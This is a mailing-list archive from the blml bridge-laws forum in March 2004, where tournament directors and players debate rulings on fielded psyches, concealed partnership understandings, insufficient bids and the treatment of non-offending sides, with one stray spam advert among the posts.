-wrong explanation -incomplete explanation - and even some mistaken bids which cannot be proven All of these are infractions of L40B. On blml we call then MI. Yet here we are talking about just one other kind of L40B infraction: -omitting to tell opponents everything about psyching tendencies and suddenly we start using the official term from the lawbook (well the heading of law 40B anyway): CPU. And probably this is said with emphasis on the word "concealed", and suddenly this becomes a big crime indeed. While actually, what we have here, is something very natural: A players has psyched a few times, and suddenly his partner notices the pattern. At the next psyche, he guesses right, and he catches his partner's psyche and fields it. There is no evidence that the pair were in collusion, but of course people who have been playing a lot together have some advantage. There is nothing wrong with that, as long as that advantage is corrected for opponents. Ask yourself this: a player forgets to alert, or a player forgets to mention to his opponents that his partner has psyched twice in the past three months. Which has done the worst crime? So yes, I believe far more psyches should be tested for L40B infractions, but far less than those currently dealt with by the EBU should be adjusted. Which is what I also find wrong with this approach - only those psyches for which there is "allowing" get investigated for "fielding", but when fielding is discovered, the ruling is 30/60. My approach would be to investigate all psyches, allowed for and not, and find out what part of PU there exists. Then apply L40C on that piece of PU and see if the opponents might have done something better. My approach to a psyche is this: I ask the opponents "suppose you had been told that this player psyches in this position about once a month, would you have acted differently?" If the answer is "Yes, even now I was considering doubling, but I did not because I was afraid my partner was psyching. My partner psyches once every 3 months, so had I known that this opponent psyches more frequently, I would have doubled", I might rule in this person's favour. With or without allowance from psycher's partner. I would even rule this way if psycher had been playing with a total new partner, because I believe a player's psyching tendencies should be disclosed even when the partner is not fully aware of them. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Fri Mar 26 08:44:51 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 26 Mar 2004 09:44:51 +0100 Subject: [blml] Psyches In-Reply-To: References: <533D273D4014D411AB1D00062938C4D904046844@hotel.npl.co.uk> <4062DDAF.8060308@hdw.be> <4062FB02.5030903@hdw.be> <4ZBxa$ztl2YAFw8L@blakjak.demon.co.uk> Message-ID: <4063ED83.7010409@hdw.be> Who are you asking this, John? John (MadDog) Probst wrote: >> >> Allowing for a psyche can be legal or illegal. So you are allowing >>for a psyche - but not fielding it. >> > > So, you hold Kx AKJxx Ax Kxxx and over partner's 2NT opener you bid the > obvious (well I think it's obvious) transfer bid of 3H. Partner bids 3S > and you bid the what is now clearly correct 7NT. Did you field? > > Suppose partner had passed 3H? > Obviously this is evidence of allowing for the psyche. I'm using the new word allowing, because I don't wish to express an opinion about the legality of this action. But ask yourself this: if the CC of this pair, under 2NT, says "20-22, but about once a month player A(not B) will psyche this, in which case he holds 0-3" then where is the concealment? So from the evidence of the phony transfer I conclude that this is the actual system, and I rule according to L40C - I doubt if there will be damage. I also ask them to put the above line on their CC and see if they still like to perform the psyche then. The EBU have chosen another route for getting rid of this practice - which I agree is odious - but that does not mean their approach is the correct one under the Laws. > cheers John -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From dr_ruinNorristown@krovatka.net Fri Mar 26 16:15:14 2004 From: dr_ruinNorristown@krovatka.net (Chuckchopp) Date: Fri, 26 Mar 2004 18:15:14 +0200 Subject: [blml] Deer Antler Plus:Multiple 0rgasms, Longer Harder Erect-ions! . .Telemann Message-ID: DeerAntler+






salads , scuttles From tom.cornelis@pi.be Fri Mar 26 10:29:13 2004 From: tom.cornelis@pi.be (Tom Cornelis) Date: Fri, 26 Mar 2004 11:29:13 +0100 Subject: [blml] treat non-offenders severely References: <200403251835.i2PIZUGH002454@athena.ccrs.nrcan.gc.ca> Message-ID: <002001c4131d$30faab10$a48bdbd5@lightningadmin> > Ed Reppert writes: > > > > > > On Thursday, Mar 25, 2004, at 06:38 US/Eastern, David Stevenson wrote: > > > > > A growing idea amongst North Americans is that non-offenders should be > > > treated quite severely. > > > > I think I've heard you say this before, and I wouldn't be at all > > surprised, but I can't think of any examples at the moment. Can you > > elucidate? > > > > > I wouldn't presume to speak for David, but I've seen a lot of rulings > which say something like, "If you'd just played bridge you'd have had a > good score." Ignoring the fact that the NOS wouldn't have been in the > position without the offence. > > I think this is at least part of what he's talking about. I know for a fact this is common practice in some European NBOs as well. From blml@blakjak.com Fri Mar 26 10:29:13 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 26 Mar 2004 10:29:13 +0000 Subject: [blml] treat non-offenders severely In-Reply-To: References: Message-ID: Ed Reppert wrote > >On Thursday, Mar 25, 2004, at 18:33 US/Eastern, David Stevenson wrote: > >> When I suggested this seemed unreasonable, Rich Colker said to me: >> "You do not understand, David, in North America there is a lot of >> professionalism, and that is why we do this." >> >> No, I do not understand! > >Nor do I. "Professionalism"? What the heck is that supposed to mean? I understood him ot mean that meant a lot of professionals were playing with clients. Not that I understand the relevance. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Mar 26 10:30:22 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 26 Mar 2004 10:30:22 +0000 Subject: [blml] No infraction? In-Reply-To: <6.0.3.0.2.20040326143226.04767570@pop-server.bigpond.net.au> References: <6.0.3.0.2.20040326143226.04767570@pop-server.bigpond.net.au> Message-ID: Tony Musgrove wrote > >South makes an insufficient bid and just as >West is on the point of bidding and thus >accepting the insufficient bid, her partner >says something like: >"Hang on, stop, that bid is insufficient." > >Although it sounds vaguely naughty to >attempt to draw partner's attention to >the possibilty of obtaining an advantage, >I can't find any law against it. I conclude >that it is legal, and it may even be >commendable. You certainly have the right to call attention to an irregularity whenever you are not dummy. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From Frances.Hinden@Shell.com Fri Mar 26 10:47:29 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 26 Mar 2004 10:47:29 -0000 Subject: [blml] Psyches Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1801@lonsc-s-031.europe.shell.com> On Thursday, Mar 25, 2004, at 09:39 US/Eastern, David Stevenson wrote: > When you field a psyche you have shown that the psyche was made with a = > partnership understanding and that is illegal. [Ed] Herman's point, if I may, is that it is *not* illegal unless the=20 partnership understanding was concealed from opponents. [Frances] ...or if the PU is not legal (e.g. a 1S opening to show either a = balanced 4-6 HCP or a normal opening bid) [Ed] Side note: If any of my partners psyched, it would surprise the heck=20 out of me. As I'm not an expert (not even close) there's a fairly=20 decent possibility that I might do something which those in the EBU=20 would consider "fielding". If that happened, I can assure you it would=20 not be intentional. In fact, it wouldn't be intentional even if I had=20 reason to believe partner might psyche. IOW, I try - to whatever degree=20 of success - to bid my hand on the basis of the auction I've heard and=20 what I've got. And being "convicted" of a crime I did not commit would,=20 to say the least, make me very unhappy. [Frances] Case 1: 1S x 4S pass (long hesitation) P 4NT.... the 4NT bidder was wondering if he had left the oven on before coming = out &=20 didn't notice the hesitation. The hesitater was wondering how he should = have played 3NT on the previous board. The director rules the contract back from 5D-1 to 4S making & they don't bother appealing because they = know the rules. Case 2: P P 1S 1NT P.... the opening "passer" had a balanced 11-count, but hadn't noticed his = partner open 1S (he was trying to remember when his wife's birthday was). The 1S opener = had a=20 6-count with 5 spades and had meant to open a weak 2, but pulled the 1S = card by accident & was quick enough not to react when he noticed (too late). The director rules there was a fielded psyche and (in effect) they were = playing an illegal convention with a CPU and ruled it 60/30. You'd probably be unhappy about both cases, but you are at least = consistently unhappy. The inconsistency comes from the invariability of the 60/30 ruling = rather than an assigned score. I'm not entirely happy with this reg myself (it's OK = when you are in effect ruling an illegal convention, but less so otherwise) but = there's no more "conviction" or "accusation of cheating" than there is in UI cases. From Frances.Hinden@Shell.com Fri Mar 26 10:52:29 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 26 Mar 2004 10:52:29 -0000 Subject: [blml] Psyches Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1802@lonsc-s-031.europe.shell.com> On Thursday, Mar 25, 2004, at 09:39 US/Eastern, David Stevenson wrote: > When you field a psyche you have shown that the psyche was made with a = > partnership understanding and that is illegal. [Frances] Well, there is evidence to that effect anyway. The problem is the following: Case 1 ------ P P 1S 1NT 2S 3NT all pass the initial passer (at NV vs V, of course) holds a balanced 11-count = with 5 spades. =20 The 1S bidder holds a balanced 3-count with 3 spades. The 2S-bidder has = no experience of psyches, has never seen his partner psyche before but decides - from = his hand and the auction - that partner is probably being a bit fruity and allows for = it. Case 2 ------ P P 1S 1NT 2S P 3NT all pass Same hand, but this time the 1S opener has psyched in this position 6 = times in the last month and his partner has promised never to double a 1NT overcall = after a=20 3rd hand opening. Either you rule against the pair in case 1, or you let the pair in case = 2 get away with murder. Just like the other laws, all you can go on is = evidence. =20 From Frances.Hinden@Shell.com Fri Mar 26 11:05:44 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Fri, 26 Mar 2004 11:05:44 -0000 Subject: [blml] Psyches Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1803@lonsc-s-031.europe.shell.com> Who are you asking this, John? John (MadDog) Probst wrote: >> >> Allowing for a psyche can be legal or illegal. So you are allowing=20 >>for a psyche - but not fielding it. >> >=20 > So, you hold Kx AKJxx Ax Kxxx and over partner's 2NT opener you bid = the > obvious (well I think it's obvious) transfer bid of 3H. Partner bids = 3S > and you bid the what is now clearly correct 7NT. Did you field? >=20 > Suppose partner had passed 3H? >=20 Obviously this is evidence of allowing for the psyche. I'm using the new word allowing, because I don't wish to express an=20 opinion about the legality of this action. But ask yourself this: if the CC of this pair, under 2NT, says "20-22,=20 but about once a month player A(not B) will psyche this, in which case=20 he holds 0-3" then where is the concealment? [Frances] There isn't any. But a 2NT opening showing 20-22 or 0-3 is probably not allowed. From ereppert@rochester.rr.com Fri Mar 26 11:40:26 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 26 Mar 2004 06:40:26 -0500 Subject: [blml] One lump or two? In-Reply-To: <4063EBF2.7010605@hdw.be> Message-ID: <604218BB-7F1A-11D8-BB0B-0030656F6826@rochester.rr.com> On Friday, Mar 26, 2004, at 03:38 US/Eastern, Herman De Wael wrote: > I would even rule this way if psycher had been playing with a total > new partner, because I believe a player's psyching tendencies should > be disclosed even when the partner is not fully aware of them. Interesting. How is someone supposed to "disclose" something of which he is not aware? From ereppert@rochester.rr.com Fri Mar 26 11:43:23 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 26 Mar 2004 06:43:23 -0500 Subject: [blml] Psyches In-Reply-To: <5TaRoJBGJAZAFwU3@blakjak.demon.co.uk> Message-ID: On Friday, Mar 26, 2004, at 05:13 US/Eastern, David Stevenson wrote: > "Being convicted" is not a bridge thing - except in cheating cases. I did put "convicted" in quotes originally. And whether it's a bridge thing or not, players will *feel* like it is. From ereppert@rochester.rr.com Fri Mar 26 11:52:37 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 26 Mar 2004 06:52:37 -0500 Subject: [blml] treat non-offenders severely In-Reply-To: Message-ID: <13C90E9C-7F1C-11D8-BB0B-0030656F6826@rochester.rr.com> On Friday, Mar 26, 2004, at 05:29 US/Eastern, David Stevenson wrote: > I understood him ot mean that meant a lot of professionals were > playing with clients. Not that I understand the relevance. Nor do I. Even if it *were* relevant, it would only be so if such a pair were the NOS. No wonder the number of bridge players is declining. :-( From ereppert@rochester.rr.com Fri Mar 26 12:04:30 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 26 Mar 2004 07:04:30 -0500 Subject: [blml] Psyches In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1802@lonsc-s-031.europe.shell.com> Message-ID: On Friday, Mar 26, 2004, at 05:52 US/Eastern, Hinden, Frances SI-PXS wrote: > Either you rule against the pair in case 1, or you let the pair in > case 2 get > away with murder. Just like the other laws, all you can go on is > evidence. Then the law says "you can psyche, but if your partner does anything that looks like he might have been allowing for it, the score will be adjusted". This, practically speaking, it seems to me, is tantamount to "you cannot psyche". That seems to be what the ACBL wants. I suppose if it's what everybody wants, then fine. But it seems to me it would remove an interesting element from the game. Put it another way. You compare "fielding" situations to "use of UI" situations. The laws say you're not allowed to convey information to partner via (for example) tempo. Then they say "if you have such information, you may not use it". Fair enough. But the laws do not say "you may not psyche". On the contrary, they explicitly say you *can* psyche. Not the same thing at all. From ereppert@rochester.rr.com Fri Mar 26 12:10:44 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Fri, 26 Mar 2004 07:10:44 -0500 Subject: [blml] Psyches In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1803@lonsc-s-031.europe.shell.com> Message-ID: <9B94CA32-7F1E-11D8-BB0B-0030656F6826@rochester.rr.com> On Friday, Mar 26, 2004, at 06:05 US/Eastern, Hinden, Frances SI-PXS wrote: > There isn't any. But a 2NT opening showing 20-22 or 0-3 is probably > not > allowed. "You can psyche, but once your partner becomes aware that you might, you have to stop." If that's what we want, then why don't the regulations (or the laws) just say so? From hermandw@hdw.be Fri Mar 26 13:19:08 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 26 Mar 2004 14:19:08 +0100 Subject: [blml] treat non-offenders severely In-Reply-To: <002001c4131d$30faab10$a48bdbd5@lightningadmin> References: <200403251835.i2PIZUGH002454@athena.ccrs.nrcan.gc.ca> <002001c4131d$30faab10$a48bdbd5@lightningadmin> Message-ID: <40642DCC.9050402@hdw.be> How many European ncbo's do you have knowledge about, Tom? I can assure you that the practices that are talked about with regards to North America (AFAICT) are goeing a lot further than what I try to do in Belgium. I try to let the non-offenders keep the benefit unless they do something really silly. "Wild, Gambling or Irrational" is the phrase from the CoP. If you have any rulings gone differently, send them to me (and their directiors) Private message to Tom : Brigitte? (keep them guessing...) Tom Cornelis wrote: > > I know for a fact this is common practice in some European NBOs as well. > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From blml@blakjak.com Fri Mar 26 13:20:38 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 26 Mar 2004 13:20:38 +0000 Subject: [blml] Psyches In-Reply-To: References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1802@lonsc-s-031.europe.shell.com> Message-ID: <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk> Ed Reppert wrote >On Friday, Mar 26, 2004, at 05:52 US/Eastern, Hinden, Frances SI-PXS >wrote: > >> Either you rule against the pair in case 1, or you let the pair in >>case 2 get >> away with murder. Just like the other laws, all you can go on is >>evidence. > >Then the law says "you can psyche, but if your partner does anything >that looks like he might have been allowing for it, the score will be >adjusted". This, practically speaking, it seems to me, is tantamount to >"you cannot psyche". That seems to be what the ACBL wants. I suppose if >it's what everybody wants, then fine. But it seems to me it would >remove an interesting element from the game. > >Put it another way. You compare "fielding" situations to "use of UI" >situations. The laws say you're not allowed to convey information to >partner via (for example) tempo. Then they say "if you have such >information, you may not use it". Fair enough. But the laws do not say >"you may not psyche". On the contrary, they explicitly say you *can* >psyche. Not the same thing at all. I still think comparing apples with oranges is not getting us anywhere, but if you insist, let's. The Law says it is not illegal to give partner UI, but if he uses UI that's illegal, and we adjust. The Law says it is not illegal to psyche, but if he uses knowledge of your psyches that's illegal, and we adjust. It really does not sound much different to me. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Mar 26 13:23:46 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 26 Mar 2004 13:23:46 +0000 Subject: [blml] Psyches In-Reply-To: References: <5TaRoJBGJAZAFwU3@blakjak.demon.co.uk> Message-ID: Ed Reppert wrote > >On Friday, Mar 26, 2004, at 05:13 US/Eastern, David Stevenson wrote: > >> "Being convicted" is not a bridge thing - except in cheating cases. > >I did put "convicted" in quotes originally. And whether it's a bridge >thing or not, players will *feel* like it is. It is an unfortunate fact that some players have no feel for the Laws, and think they have been convicted of everything. But a player who thinks he has been convicted of psyching, but not of using UI, is just wrong. Either he is very silly, or the TD is at fault in explaining it, or it is the effect of unfair peer pressure. There is just no difference between misjudging psyche Laws and UI Laws. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Fri Mar 26 13:27:06 2004 From: blml@blakjak.com (David Stevenson) Date: Fri, 26 Mar 2004 13:27:06 +0000 Subject: [blml] treat non-offenders severely In-Reply-To: <002001c4131d$30faab10$a48bdbd5@lightningadmin> References: <200403251835.i2PIZUGH002454@athena.ccrs.nrcan.gc.ca> <002001c4131d$30faab10$a48bdbd5@lightningadmin> Message-ID: Tom Cornelis wrote >> Ed Reppert writes: >> > >> > >> > On Thursday, Mar 25, 2004, at 06:38 US/Eastern, David Stevenson wrote: >> > >> > > A growing idea amongst North Americans is that non-offenders should be >> > > treated quite severely. >> > >> > I think I've heard you say this before, and I wouldn't be at all >> > surprised, but I can't think of any examples at the moment. Can you >> > elucidate? >> > >> > >> I wouldn't presume to speak for David, but I've seen a lot of rulings >> which say something like, "If you'd just played bridge you'd have had a >> good score." Ignoring the fact that the NOS wouldn't have been in the >> position without the offence. >> >> I think this is at least part of what he's talking about. > >I know for a fact this is common practice in some European NBOs as well. Pity. The one really objectionable thing about bridge Laws, against the Laws of all other sports, is that they treat non-offenders too harshly. It must be even more horrible to suffer such a ruling in a place where it is more acceptable to gain through breaking the rules. "How did you do?" "Second." "Why did you not win?" "Opponents did something illegal so we were ruled against." Can you imagine it in another sport or mindsport? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From hermandw@hdw.be Fri Mar 26 13:30:56 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 26 Mar 2004 14:30:56 +0100 Subject: [blml] Psyches In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1801@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1801@lonsc-s-031.europe.shell.com> Message-ID: <40643090.4020208@hdw.be> OK Frances, I understand your point. Hinden, Frances SI-PXS wrote: > > [Frances] [snip the case about the UI] > > Case 2: > P P 1S 1NT > P.... > > the opening "passer" had a balanced 11-count, but hadn't noticed his partner open 1S > (he was trying to remember when his wife's birthday was). The 1S opener had a > 6-count with 5 spades and had meant to open a weak 2, but pulled the 1S card by > accident & was quick enough not to react when he noticed (too late). > > The director rules there was a fielded psyche and (in effect) they were playing an > illegal convention with a CPU and ruled it 60/30. > > You'd probably be unhappy about both cases, but you are at least consistently unhappy. > Your point being that we don't listen to players when they tell us they were watching the barman, if their actions suggest that some other cause may be the reason for the action. OK. Let's now return to the real world, though, and take you example with both players admitting they were psyching and fielding. > Case 2: > P P 1S 1NT > P.... Opener has a six-count, responder has 11 but passes because his partner often psyches in this position, and because he has reason enough to believe that his RHO has a very strong 1NT. OK, fielded psyche. Now tell me where EW are damaged by the concealed PU? 3rd hand often psyches, OK, but what can 4th hand do? He's bidding 1NT anyway. 2nd hand as well - if he knows 3rd is a psycher, he still has the same information about partner's hand. OK, we can construct cases where the knowledge about points distribution between players 1 and 3 will influence opponents, but we can take care of those with L40C. > The inconsistency comes from the invariability of the 60/30 ruling rather than an > assigned score. I'm not entirely happy with this reg myself (it's OK when you are > in effect ruling an illegal convention, but less so otherwise) but there's no more > "conviction" or "accusation of cheating" than there is in UI cases. > No, the inconsistency comes from the fact that only fielded psyches are punished. If this 1st player has only 9 points and passes, he has not demonstrably shown he has fielded the psyche. But the CPU is still the same. Suppose 1st hand has 9 points, 3rd has 5. 2nd hand raises to 3NT and 4th plays the contract based on RHO having 12, LHO max 2. Now he is damaged by them not telling him 3rd is a frequent psycher. I shall use L40B and L40C to rule in his favour. The English will presumably do nothing, since the psyche was not fielded. That's the inconsistency. > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml > > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Fri Mar 26 13:37:15 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 26 Mar 2004 14:37:15 +0100 Subject: [blml] Psyches In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1803@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1803@lonsc-s-031.europe.shell.com> Message-ID: <4064320B.1070607@hdw.be> Hinden, Frances SI-PXS wrote: > But ask yourself this: if the CC of this pair, under 2NT, says "20-22, > but about once a month player A(not B) will psyche this, in which case > he holds 0-3" then where is the concealment? > > [Frances] > There isn't any. But a 2NT opening showing 20-22 or 0-3 is probably not > allowed. > That is a totally different question. But your translation is not correct. 2NT does not "show" 0-3. 2NT is sometimes done on 0-3. The pair have no "escape" mechanism showing 0-3, or some such. A systems policy which cannot differentiate between a bid "showing" something and a bid being psyched is not a good systems policy. It is a policy banning psyches. We've been there before. We need to tell our opponents that we have certain psyching tendencies. The only way to do this is by putting them on the CC. If everything that is on the CC is considered systemic and then forbidden then this leaves the psycher only two choices: never psyche or just don't tell opponents. A policy which leads to players having to lie in order to do something which is not forbidden, is not a good policy. > > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From hermandw@hdw.be Fri Mar 26 13:39:26 2004 From: hermandw@hdw.be (Herman De Wael) Date: Fri, 26 Mar 2004 14:39:26 +0100 Subject: [blml] One lump or two? In-Reply-To: <604218BB-7F1A-11D8-BB0B-0030656F6826@rochester.rr.com> References: <604218BB-7F1A-11D8-BB0B-0030656F6826@rochester.rr.com> Message-ID: <4064328E.7050507@hdw.be> Ed Reppert wrote: > > On Friday, Mar 26, 2004, at 03:38 US/Eastern, Herman De Wael wrote: > >> I would even rule this way if psycher had been playing with a total >> new partner, because I believe a player's psyching tendencies should >> be disclosed even when the partner is not fully aware of them. > > > Interesting. How is someone supposed to "disclose" something of which he > is not aware? > > I did not say he should disclose it - I said opponents are entitled to know it. Maybe I used "disclosed" in too unclear a way, but that is what I meant. And of course opponents can never be told this, but that should not disturb us from using L40C and returning a score to something which would have happened if they had known it. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From j.c.schwarz@t-online.de Fri Mar 26 13:40:58 2004 From: j.c.schwarz@t-online.de (=?iso-8859-1?Q?J=F6rg_Schwarz?=) Date: Fri, 26 Mar 2004 14:40:58 +0100 Subject: WG: [blml] No infraction? Message-ID: <1B6raV-1tugFc0@fwd02.sul.t-online.com> In my opinion, it is not only not illegal, but perfectly legal. =A7 9.1 says, that during the bidding, every player is allowed to draw attention to an irregularity, whether it is his turn to bid or not. 73 B.1 like konrad suggested has nothing to do with this case =20 -----Urspr=FCngliche Nachricht----- Von: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] Im Auftrag von = Tony Musgrove Gesendet: Freitag, 26. M=E4rz 2004 04:39 An: blml@rtflb.org Betreff: [blml] No infraction? South makes an insufficient bid and just as West is on the point of = bidding and thus accepting the insufficient bid, her partner says something = like: "Hang on, stop, that bid is insufficient." Although it sounds vaguely naughty to attempt to draw partner's attention to the possibilty of obtaining an advantage, I can't find any law against = it. I conclude that it is legal, and it may even be commendable. Cheers, Tony (Sydney) =20 _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From nsousa@fc.up.pt Fri Mar 26 14:15:23 2004 From: nsousa@fc.up.pt (Nuno Miguel Marques de Sousa) Date: Fri, 26 Mar 2004 14:15:23 -0000 Subject: [blml] treat non-offenders severely Message-ID: <6C60E0294337E84EBE5B198747277FA9364322@MAIL.fc.up.pt> > No wonder the number of bridge players is declining. :-( Bridge is competing against an ever-increasing list of intellectual = sports that are very attractive for the younger people. Misbehaviour at = table puts away people, but it isn't the cheif reason. The scattering = tendency probably plays a bigger role. The onus is on the WBF and national organizations to promote bridge = adequately. A difficult task, and there's a lot to be done. The upcoming = simplification on bridge laws is a good step in this direction. From cibor@poczta.fm Fri Mar 26 16:49:50 2004 From: cibor@poczta.fm (Konrad Ciborowski) Date: Fri, 26 Mar 2004 09:49:50 -0700 Subject: [blml] No infraction? References: <1B6raV-1tugFc0@fwd02.sul.t-online.com> Message-ID: <002b01c41352$5fa06650$6a51fea9@ams.com> ----- Original Message -----=20 From: "J=F6rg Schwarz" To: Sent: Friday, March 26, 2004 6:40 AM Subject: WG: [blml] No infraction? >In my opinion, it is not only not illegal, but perfectly legal. >=A7 9.1 says, that during the bidding, every player is allowed to draw >attention to an irregularity, whether it is his turn to bid or not. >73 B.1 like konrad suggested has nothing to do with this case My understanding of the Tony's post was that East *saw* that his partner failed to realize that the bid was insufficient and purposefully prevented him from accepting it. So West, with his body language, communicated to East that he hadn't realized that South's bid was insufficient. If my impression is wrong, Tony, please correct me. Konrad Ciborowski Krakow, Poland (now in Denver) From john@asimere.com Fri Mar 26 17:24:17 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 26 Mar 2004 17:24:17 +0000 Subject: [blml] Psyches In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1802@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1802@lonsc-s-031.europe.shell.com> Message-ID: In article <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1802@lonsc-s- 031.europe.shell.com>, Hinden, Frances SI-PXS writes > > >On Thursday, Mar 25, 2004, at 09:39 US/Eastern, David Stevenson wrote: > >> When you field a psyche you have shown that the psyche was made with a >> partnership understanding and that is illegal. > >[Frances] >Well, there is evidence to that effect anyway. > >The problem is the following: > >Case 1 >------ >P P 1S 1NT >2S 3NT all pass > >the initial passer (at NV vs V, of course) holds a balanced 11-count with 5 >spades. >The 1S bidder holds a balanced 3-count with 3 spades. The 2S-bidder has no >experience >of psyches, has never seen his partner psyche before but decides - from his hand >and >the auction - that partner is probably being a bit fruity and allows for it. > >Case 2 >------ >P P 1S 1NT >2S P 3NT all pass > >Same hand, but this time the 1S opener has psyched in this position 6 times in >the >last month and his partner has promised never to double a 1NT overcall after a >3rd hand opening. > >Either you rule against the pair in case 1, or you let the pair in case 2 get >away with murder. Just like the other laws, all you can go on is evidence. Uh uh, In case 2 you've alerted and explained "a frequent psyche" > > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Fri Mar 26 17:25:46 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 26 Mar 2004 17:25:46 +0000 Subject: [blml] Psyches In-Reply-To: <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1802@lonsc-s-031.europe.shell.com> <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk> Message-ID: In article <1QSio$Gm4CZAFwVp@blakjak.demon.co.uk>, David Stevenson writes >Ed Reppert wrote >>On Friday, Mar 26, 2004, at 05:52 US/Eastern, Hinden, Frances SI-PXS >>wrote: snips > > The Law says it is not illegal to give partner UI, but if he uses UI >that's illegal, and we adjust. > > The Law says it is not illegal to psyche, but if he uses knowledge of >your psyches that's illegal, and we adjust. but subject to the psyching proclivity not having been public. > > It really does not sound much different to me. > -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From john@asimere.com Fri Mar 26 17:29:48 2004 From: john@asimere.com (John (MadDog) Probst) Date: Fri, 26 Mar 2004 17:29:48 +0000 Subject: [blml] Psyches In-Reply-To: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1803@lonsc-s-031.europe.shell.com> References: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1803@lonsc-s-031.europe.shell.com> Message-ID: <87G+y5AMiGZAFwWL@asimere.com> In article <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB1803@lonsc-s- 031.europe.shell.com>, Hinden, Frances SI-PXS writes > >Who are you asking this, John? > >John (MadDog) Probst wrote: > >>> >>> Allowing for a psyche can be legal or illegal. So you are allowing >>>for a psyche - but not fielding it. >>> >> >> So, you hold Kx AKJxx Ax Kxxx and over partner's 2NT opener you bid the >> obvious (well I think it's obvious) transfer bid of 3H. Partner bids 3S >> and you bid the what is now clearly correct 7NT. Did you field? >> >> Suppose partner had passed 3H? >> > >Obviously this is evidence of allowing for the psyche. >I'm using the new word allowing, because I don't wish to express an >opinion about the legality of this action. >But ask yourself this: if the CC of this pair, under 2NT, says "20-22, >but about once a month player A(not B) will psyche this, in which case >he holds 0-3" then where is the concealment? > >[Frances] >There isn't any. But a 2NT opening showing 20-22 or 0-3 is probably not >allowed. again, responder is going to play this for 20-22, but there's no regulation which stops him making a safety play IMO. You explain "20-22, but occasionally a Woo 2N on about a flat 3 count". Where the psyche frequency is fairly low (say 10-20% of all cases of the 2N opener) there is no merit in taking an action which assumes it's a psyche, but there is merit in taking a free safety play. I'd bid my longest suit over any 2N bid with any partner if I held an 18 count. Not to do so is just bad bridge - isn't 